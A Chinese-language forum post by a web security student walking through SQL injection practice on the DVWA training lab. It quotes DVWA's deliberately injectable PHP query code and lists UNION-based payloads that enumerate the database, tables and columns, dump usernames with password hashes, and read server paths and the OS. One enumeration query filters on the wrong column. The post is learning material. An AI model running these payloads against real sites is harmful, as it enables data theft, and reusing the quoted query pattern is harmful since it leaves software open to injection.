刚刚学习web安全,老师第二节课就让用dvwa学习sql注入了,下面是我自己通过书上的学习以及在dvwa摸索的过程,求大牛们多多指点,勿要喷我
从页面上看到,有一个可以提交查询内容的地方
我们可以通过以下步骤判断这里是否存在注入点
① 输入1 提交
②输入1' 提交
③输入1 and 1=1 提交
④输入1 and 1=2提交
由上可以看出是存在注入点的, 我们猜测sql查询语句是这样的:
select First name的列名 and Surname的列名 from 表名 where id的列名 ='我们输入的id'
我们看一下这里的源码 果然真的是这样,没有任何过滤
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID:
{$id}
First name: {$first}
Surname: {$last}";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
那么我们首先爆出它的库试试,用单引号让id闭合
输入 1' union select 1,database()#提交
可以看出目前使用的数据库为dvwa,接下来我们爆表试试
输入 1' union select 1,table_name from information_schema.tables where table_name='dvwa'#
可以看到有两个表,我们爆一下users的列,
输入1' union select 1,column_name from information_schema.columns where table_name='users'#
可以看出有好多的列,但是重要的应该是user列和password列,我们爆出这两列的字段内容
输入 1' union select 1,concat(user,password) from users#
或者输入 1' union select 1,concat_ws(char(32,58,32),user,password) from users#
这里32为空格 58位冒号 输出显示内容就是 user : password
这里就差不多把重要的数据都给爆出来了,只不过是加密后的 可以直接在线解密
接下来我们训练一下其他的注入
查看数据库路径、mysql安装路径和操作系统
输入 1' union select 1,concat(@@datadir,@@basedir,@@version_compile_os)#
就先玩这么多了 今后再努力学习 大家也好好加油~